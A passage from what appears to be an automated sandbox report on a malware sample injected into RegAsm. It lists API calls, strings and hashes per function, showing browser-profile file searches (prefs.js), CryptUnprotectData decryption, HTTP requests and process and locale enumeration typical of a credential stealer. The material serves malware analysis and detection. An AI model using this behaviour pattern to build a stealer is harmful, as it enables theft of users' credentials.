Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 004049BD
", xrefs: 00404D33
", xrefs: 00404BF2
------, xrefs: 00404C69
------, xrefs: 00404B28

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D
@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 004016D0 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004250FC,?,00401F2C,?,004251A4,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,0042524C), ref: 00401973
StrCmpCA.SHLWAPI(?,004252F4), ref: 00401989
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: ca67a8568ea0ba2b6b0080d83a50aaf90da7ba13abdb50ed4b52889093262cf6
Instruction ID: 7769a417c8595acc82377095736640fb322d6f2109e737e701712592372911f9
Opcode Fuzzy Hash: ca67a8568ea0ba2b6b0080d83a50aaf90da7ba13abdb50ed4b52889093262cf6
Instruction Fuzzy Hash: 711261719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01471A90,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01471A90,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
